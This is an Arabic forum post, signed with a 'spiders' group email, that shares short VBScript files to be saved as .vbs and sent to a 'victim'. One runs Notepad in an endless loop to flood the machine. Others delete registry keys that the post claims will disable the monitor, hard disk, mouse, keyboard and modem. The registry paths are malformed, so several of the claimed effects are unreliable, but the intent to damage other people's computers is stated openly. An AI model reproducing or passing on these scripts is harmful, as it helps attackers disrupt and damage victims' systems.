تحياتي الى كل المتميزين في هذا المنتدى ..ولن اطيل عنكم لتكتشفو
فيروس سيفتح لدى الضحية اكثر من
notepade100
وفي أقل من ثانية
نقوم بفتح blok note
ننسخ التالي
Set variable = CreateObject("WScript.Shell")
Do
variable.run "notepad",false
Loop

ثم يحفظ بامتداد
vbs.
ويرسل الى الضحيةههههه
2Pour désinstaller l'écran
لحذف الشاشة
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\Monitor"
</script>


لحذف لهارد ديسك
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\PCMIA"
</script>i

لحذف عمل الماوس
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\Mouse"
</script>

لحذف لوحة المفاتيح
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Keyboard"
</script>
لحذف المودم )روتر( تعطيله
<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\Curren tControlSet\Services\Class\Modem"
</script>
ملاحظة.. كلها تحفظ بامتداد vbs
simoalg@vb-spiders.net
مع تحياتي الى ال سبايدرزز طخ طخ طخ